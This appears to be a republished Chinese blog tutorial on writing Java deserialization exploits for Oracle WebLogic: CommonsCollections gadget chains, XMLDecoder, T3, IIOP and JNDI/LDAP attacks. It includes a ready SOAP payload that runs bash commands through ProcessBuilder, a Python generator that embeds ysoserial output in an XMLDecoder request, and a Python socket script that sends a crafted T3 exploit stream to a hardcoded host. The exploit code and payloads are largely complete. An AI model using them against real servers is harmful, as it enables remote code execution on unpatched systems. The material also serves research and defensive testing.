怎么淺析反序列化POC

這篇文章給大家介紹怎么淺析反序列化POC，內容非常詳細，感興趣的小伙伴們可以參考借鑒，希望對大家能有所幫助。

0x00 JBOSS反序列化POC編寫

CommonsCollections的利用就是一部反序列化漏洞腥風血雨的歷史。

CommonsCollections類型的POC編寫：

CC反射鏈的編寫離不開四個Transformer類：

ConstantTransformer,invokerTransformer,ChainedTransformer，TransfoeredMap

第一個ConstantTransformer負責輸入一個xxx.class,返回java.lang.Class的類對象，這個是為了后續調用獲得getMethod的對象。

第一個invokerTransformer相當于執行

Method getRun = Runtime.class.getMethod(“getRuntime”,參數類型說明)

通過反射傳入getRuntime參數的getMethod方法，當然傳入這個方法反射得到的結果是，getRuntime的Method對象。

第二個invokerTransformer相當于執行

Runtime getRun = getRun.invoke();

第三個invokerTransformer相當于執行

Method getexec = Runtime.class.getMethod(“exec”,參數類型說明)

getexec.invoke(getRun,需要執行的命令)

最后通過給ChainedTransformer傳入Transform數組，再將ChainedTransformer傳入TranformedMap，進行decorate，EntrySet轉化，最后觸發TranformedMap類的setValue方法，通過setValue方法逐個觸發Transformer類的transform方法。

參見：

https://mp.weixin.qq.com/s/OMXrFc7uUN8wGv6yHno3Lg

https://www.freebuf.com/articles/web/246081.html

LazyMap類型POC的構造

LazyMap的調用還是與TransformedMap的調用有些不同，因為LazyMap沒有setValue方法，那么就要想辦法去調用LazyMap的get方法。

通過get方法去觸發ChainedTransformer的transfrom方法，這個時候就不能使用編寫TransformedMap那樣的套路去玩了。需要使用動態代理機制去觸發AnnotationInvocationHandler類的invoke方法

那就需要構造兩次InvocationHandler代理，第一次構造是為了LazyMap的代理對象再進行任何方法調用的時候進行invoke方法中default選項的觸發，第二次為了讓InvocationHandler代理對象進行readObject方法調用。

參見：https://www.freebuf.com/articles/web/247672.html

BadAttributeValueExpException類型POC編寫

BadAttributeValueExpException類的readObject方法調用了傳入數據流的val域的toString方法。

那么就找一個val域有toString方法的類，而且這個類toString方法可以觸發LazyMap對象的get操作，這個類可以傳入LazyMap對象。

TiedMapEntry正好滿足：

toString方法調用getValue方法

getValue方法，調用map類型對象的get方法，而LazyMap又是map接口的實現類，完美。

實現過程：CC鏈傳入ChainedTransformer，ChainedTransformer傳入LazyMap，LazyMap傳入TiedMapEntry，TiedMapEntry作為BadAttributeValueExpException的val域的引用，經過序列化的BadAttributeValueExpException進行readObject，readObject調用val域的toSting,toString調用getValue,getValue調用get，get觸發ChainedTransformer的transform方法，ChainedTransformer的transform方法觸發Transformer數組的transform方法。

0x01 XMLDecoder反序列化POC編寫

weblogic XMLDecoder是基于SOAP去解析的，具體的分析文章網上都有，后面會附加參考鏈接。

簡單來說XMLDecoder的修補史就是SOAP標簽的繞過史

首先看CVE-2017-3506，因為XMLDecoder對SOAP形式的XML文件進行解析，對WorkContext標簽內的所有標簽進行解析，將java標簽下的第一個職位class的object標簽解析為需要加載的類，將最后一個class值為method的void標簽解析為加載的類所要使用的方法，將array標簽內class的值解析為方法的參數類型，length為參數的個數，中間的void+string類型的標簽為方法執行的各個參數值。

接著看CVE-2017-10271對CVE-2017-3506的補丁內容：

只是過濾了object標簽，那又找了新的類去繞過，voidElementHandler繼承自ObjectElementHandler所以，void標簽，自然也就可以按照Object標簽進行解析處理了。

只是過濾了object標簽，那又找了新的類去繞過，voidElementHandler繼承自ObjectElementHandler所以，void標簽，自然也就可以按照Object標簽進行解析處理了。

接下來貼出一個CVE-2017-10271&CVE-2017-3506的通用POC

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">   
 <soapenv:Header>   
  <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">   
  <java version="1.4.0" class="java.beans.XMLDecoder">   
  <void class="java.lang.ProcessBuilder">   
  <array class="java.lang.String" length="5">   
  <void index="0">   
  <string>/bin/bash</string>   
  </void>   
  <void index="1">   
  <string>-c</string>   
  </void>   
  <void index="2">   
  <string>  + cmd +  </string>   
                     </void>   
  <void index="3">   
  <string>>></string>  
  </void>   
  <void index="4">  
  <string>servers/AdminServer/tmp/_WL_internal/wls-wsat/cmdecho.txt</string>  
  </void>  
  </array>   
  <void method="start"/></void>   
  </java>   
  </work:WorkContext>   
  </soapenv:Header>   
  <soapenv:Body/>   
</soapenv:Envelope>

再看CVE-2019-2725對之前的補丁：

private void validate(InputStream is) {
      WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
      try {
         SAXParser parser = factory.newSAXParser();
         parser.parse(is, new DefaultHandler() {
            private int overallarraylength = 0;
            public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
               if(qName.equalsIgnoreCase("object")) {
                  throw new IllegalStateException("Invalid element qName:object");
               } else if(qName.equalsIgnoreCase("new")) {
                  throw new IllegalStateException("Invalid element qName:new");
               } else if(qName.equalsIgnoreCase("method")) {
                  throw new IllegalStateException("Invalid element qName:method");
               } else {
                  if(qName.equalsIgnoreCase("void")) {
                     for(int attClass = 0; attClass < attributes.getLength(); ++attClass) {
                        if(!"index".equalsIgnoreCase(attributes.getQName(attClass))) {
                           throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(attClass));
                        }
                     }
                  }
                  if(qName.equalsIgnoreCase("array")) {
                     String var9 = attributes.getValue("class");
                     if(var9 != null && !var9.equalsIgnoreCase("byte")) {
                        throw new IllegalStateException("The value of class attribute is not valid for array element.");
                     }

平安團隊對此進行了分析，最后的結論：

1、 禁用 object、new、method 標簽

2、 如果使用 void 標簽，只能有 index 屬性

3、 如果使用 array 標簽，且標簽使用的是 class 屬性，則它的值只能是 byte

但是class標簽還在，這個標簽可以聲明需要調用的類，還有驚喜，就是array標簽可以使用，只要是byte類型就行。

那么現在需要找到這次出問題的地方，看之前的補丁。

那就找一個既可以解析byte類型的構造方法的類，UnitOfWorkChangeSet（盜個圖）

那就讓它調用這個類，給這個類傳遞byte數組

<?xml version="1.0" encoding="utf-8"?> <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">     <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">  <java>  <array method="forName"><string>oracle.toplink.internal.sessions.UnitOfWorkChangeSet</string>
<void>
<array class="byte" length=反序列化數據字節的長度>                 
<void index="0">                 <byte>-84</byte>                 ...                 ...          </array>
</void>
</class>             
</java>         
</work:WorkContext>

這里在weblogic 10.3.6（JDK 1.6）的環境下復現：

首先這個類的構造方法可以readObject，那就先構造這樣一個類。

先用ysoserial生成commons-collection生成一個反序列化文件。

然后將這個反序列化轉化為16進制，一個字節是8個二進制位，一個字節相當于2個16進制位，16進制轉化為byte型，并進行POC的拼接。

每一段反序列化數據必定以ac ed開頭，那么第一個字節的值就應該是：

ac=10101100=172，但是byte的存儲范圍是-128~+127，這個明顯是溢出了，然而計算機的存儲是按照補碼進行存儲的，補碼到原碼的計算應該是符號位為1，其余各位取反，然后再整個數加1。

11010011+00000001=11010100=-84，這就是為什么POC中第一個開頭的字節值為-84。

那么接下來編寫生成POC的py腳本。

反序列化文件轉化思路：先將文件中中的數據轉化為16進制，然后兩個16進制數為一組，并在其之前拼接’0x’然后將其歸為一個列表的元素。

進制轉換思路：如果兩個16進制的10進制值小于127，那么不對它進行操作，保留原值，如果不是則對其進行原碼運算，最后轉為10進制值。

原碼運算思路：

補碼-1，得到反碼，反碼除符號位外按位取反。

將這些10進制的值挨個拼接到XML的標簽中。

代碼如下：

# -*- coding:utf-8 -*-
import binascii
with open('poc', 'rb') as f:
    a= binascii.b2a_hex(f.read()).decode('utf-8')
b = []
for i in range(len(a)//2):
    c = '0x'+a[2*i]+a[2*i+1]
    c = eval(c)
    if int(c)>127:
        c = int(c)
        c ='{:08b}'.format(c)
        c = list(c)
        d = ''
        for i in range(len(c)):
            if i == 0:
                d += c[i]
                continue
            elif c[i] == '1':
                c[i] ='0'
                d += c[i]
            else:
                c[i] = '1'
                d += c[i]
        d = list(d)
        pos = 0
        for index in range(len(d)):
            if d[index] == '0':
                pos = index
        for index in range(pos,len(d)):
            if d[index] == '0':
                d[index] = '1'
            else:
                d[index] = '0'
        d.remove(d[0])
        d = '0b'+''.join(d)
        d = '-' + str(eval(d))
        b.append(d)
    else:
        b.append(str(c))
pocHeader = '<?xml version="1.0" encoding="utf-8"?> <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">' \
            '<soapenv:Header>' \
            '<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">' \
            '<java>' \
            '<array method="forName">' \
            '<string>oracle.toplink.internal.sessions.UnitOfWorkChangeSet</string>' \
            '<void>' \
            '<array class="byte" length="' + str(len(b)) +'">'
pocBody = ''
for i in range(len(b)):
    pocBody += '<void index="'+str(i)+'"><byte>'+str(b[i])+'</byte></void>'
pocFooter = ' </array>' \
            '</void>' \
            '</array>' \
            '</java>' \
            '</work:WorkContext>' \
'</soapenv:Header>' \
'<soapenv:Body/>' \
'</soapenv:Envelope>'
pocAll = pocHeader + pocBody + pocFooter
f = open('poc.txt','w+')
f.write(pocAll)

然后發送到/wls-wsat/的接口中，成功彈出計算器。（這里有一個疑問，為什么別人編寫的POC要去掉<byte>0</byte>的XML的節點呢？我沒有去也成功了）

這是對于之前補丁的繞過，看下新發現的接口是async：

對于這個接口的POC就是，加上<wsa:Action>xx</wsa:Action>

<wsa:RelatesTo>xx</wsa:RelatesTo>，分析過程參見平安團隊的freebuf文章。

這里直接給之前CVE-2017-10271&CVE-2017-3506的通用POC加上這兩個XML標簽，在<soapenv:Header>之后，<work:WorkContext>之前發送POC看一下：

這里注意，POC都頂格寫啊，為什么，參見廖師傅的文章：

http://xxlegend.com/

參考鏈接：

https://www.freebuf.com/vuls/206374.html

0x02 T3協議反序列化POC編寫

T3這個東西吧，存在即合理，所以每次都被安全研究的大佬們找到內部類，然后通過序列化數據加載內部類。

T3協議的作用

說白了，T3就是另類的遠程方法調用

T3反序列化數據的構成

T3的數據流程是這樣接收的，客戶端發送固定的握手信息：

t3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n

服務端返回：

客戶端再發送經過特殊構造CC鏈的新建文件的反序列化數據

T3數據構造過程：

在一臺開啟weblogic服務的靶機上將/Oracle/Middleware/user_projects/domains/base_domain/bin/stopWebLogic.sh，進行修改，在這個腳本對另一個weblogic主機發送stop的請求的時候，會會發送T3的序列化數據，之后使用wireshark抓取該數據。

修改過程：

https://d1iv3.me/2018/06/05/CVE-2015-4852-Weblogic-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96RCE%E5%88%86%E6%9E%90/

如何利用T3協議進行遠程類加載

利用T3協議的反序列化機制，反序列化可以遠程加載方法的類，然后去加載遠程方法，即二次序列化。

這里使用低版本weblogic的嘗試一下CC鏈+JRMP遠程方法調用，還是CVE-2019-2628，再次回顧一下weblogic stop腳本的流量。

第一次握手：

第二次發送序列化請求：

第三次發送序列化對象：

雖然看著是一灘還算清楚的洋碼子，但是大佬們POC的編寫已經開始細節了（和我之前學大佬的大有差別，https://blog.csdn.net/he_and/article/details/97924679）。

在這里先用上一次的文章的POC試一下能不能二次序列化：

先用yso生成一個JRMP請求的序列化腳本

啟動服務器監聽和HTTP服務結果報錯

正常反序列化成功之后服務端報錯為：

那么看下別人的是怎么成功的，先貼出GitHub上的示例：

https://github.com/0xn0ne/weblogicScanner/blob/master/stars/cve_2018_2628.py

首先看注釋：

說是第一次是發送t3的請求對象

第二次才是序列化的對象，對比一下GitHub腳本與weblogic stop腳本，握手的就不看了，直接看t3請求的數據：

將data1，2，3，4直接拼接好，hex轉碼，拼接data2的時候注意，data2變量的尾部有這么一個小細節

在data2中間還有一個細節

意思就是說，尾部的dport（一般為7001）轉化為4位16進制之后，填充到{0}的位置。

7001轉化為16進制為1b59，我直接把后面的format去掉，將{0}替換為1b 59。

hex解碼與weblogic的stop腳本流量對比不同之處。

除了IP地址的不同好像沒有什么不同，再看反序列化數據的第二段

將反序列化的數據拼接到序列化的數據流中。

那為什么要分成data1，2，3，4這樣發送呢，再返回看數據包的過程。

那么截取掉1b59等待端口的16進制來替換

在長度為1514的序列化請求數據包后面還有一個長度為88的數據包，也截取出來

OK，那么在序列化數據的時候發送了兩次TCP的數據

返回結果與數據包中的一致，所以感覺沒必要分四次發送

開始第二步，發送惡意序列化對象，這里還是看一下原POC

可以看到fe010000為一段反序列化數據的結束，aced0005為一段反序列化數據的開頭，還是先看數據包

進入該數據包，只截取00000372之后的Hex，前面的都是TCP數據包的字符，只有后面才是真正的T3數據

然后求下這段Hex的長度/2，Hex轉化后長度的值為：372，那么大致判斷為這段數據的組合方式為“固定的T3數據頭”+“反序列化數據段”，而這種分段方式每段反序列化數據段都是以aced0005開頭，以fe010000結尾，我這里先嘗試直接截取第一個aced0005之前的數據，后面直接從yso生成的序列化文件中拼接到截取的數據后，再在這段數據后’fe010000’，然后求出這段Hex字符串的長度，填充到開頭，以左補0的方式。

那么POC就可以編寫如下了：

# -*- coding:utf-8 -*-
import binascii
import socket
import time


def t3():
    hello = 't3 12.2.1\nAS:255\nHL:19\nMS:10000000\n\n'
    host = ('192.168.23.128', 7001)
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(15)
    sock.connect(host)
    sock.send(hello.encode('utf-8'))
    time.sleep(1)
    response = sock.recv(2048)
    print(response)
    data1 = '000005be016501ffffffffffffffff000000690000ea600000001816e4292ca381af623658de6c3770e50a53746339ada2505a027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c00007870774f210000000000000000000f3139322e3136382e3135342e313332000f3139322e3136382e3135342e3133327de213520000000700001b59ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c00007870771d017344e7564a2ec4'
    data2 = '14000a3137322e32302e302e325adb1b310000000078'
    for d in [data1, data2]:
        sock.send(binascii.a2b_hex(d))
    print(sock.recv(2048))

    with open('poc1', 'rb') as f:
         a = binascii.b2a_hex(f.read()).decode('utf-8')
    header = '056508000000010000001b0000005b010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000ab08d9e9c939abfcecdcc7400087765626c6f67696306fe010000'
    footer = 'fe010000'
    data = header + a + footer

    data = '%s%s' % ('{:08x}'.format(len(data) // 2 + 4), data)
    sock.send(binascii.a2b_hex(data))
    time.sleep(5)
if __name__ == "__main__":
    t3()

利用yso輸出JRMPClient的序列化文件

啟動yso的監聽

執行腳本，彈出計算器

在看下數據包的后續流程：

0x03 IIOP反序列化POC學習

參考文檔：https://l3yx.github.io/2020/04/22/Weblogic-IIOP-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/

貼一下原因吧：

Weblogic IIOP協議默認開啟，跟T3協議一起監聽在7001端口，這次漏洞主要原因是錯誤的過濾JtaTransactionManager類，JtaTransactionManager父類AbstractPlatformTransactionManager在之前的補丁里面就加入到黑名單列表了，T3協議使用的是resolveClass方法去過濾，resolveClass方法是會讀取父類的，所以T3協議這樣過濾沒問題。但是IIOP協議這塊雖然也是使用的這個黑名單列表，但不是使用resolveClass方法去判斷，默認只會判斷本類的類名，而JtaTransactionManager類不在黑名單列表里面并且存在jndi注入。

這里對Y4er師傅的poc進行一下分析（注要是底層實在跟不動，頂不住啊，能改改POC就行了），https://github.com/Y4er/CVE-2020-2551

其中createMemoitizedProxy創建了一個AnnotationInvocationHandler的動態代理，然后將這個動態代理的對象發送到服務端，進行反序列化。

具體的參見Y4er師傅的源碼。

直接嘗試一下

補充一個關于cve-2020-2551的GitHub檢測腳本的說明：

https://github.com/0xn0ne/weblogicScanner/blob/master/stars/cve_2020_2551.py

首先運行如下程序

在此處，給IIOP的服務器指定一個錯誤的端口，這個程序會報錯：

說是連接不到這個服務器，且沒有通訊流量，那把它換成正常的7001端口

抓取數據包：

程序正常運行，使用wireshark抓取數據包：

將其Hex一下看：

發現紅色部分由客戶端發送的數據與檢測腳本的一致。

返回包中如果存在GIOP字段說明存在漏洞。

0x04 JNDI注入類型LDAP反序列化POC編寫

LDAP可以除了可以描述Java的對象信息，還可以返回序列化數據，由JNDI的類進行反序列化。

這個比較簡單，直接將生成的序列化文件BASE64編碼，然后客戶端LDAP請求返回序列化數據就行了。

關于怎么淺析反序列化POC就分享到這里了，希望以上內容可以對大家有一定的幫助，可以學到更多知識。如果覺得文章不錯，可以把它分享出去讓更多的人看到。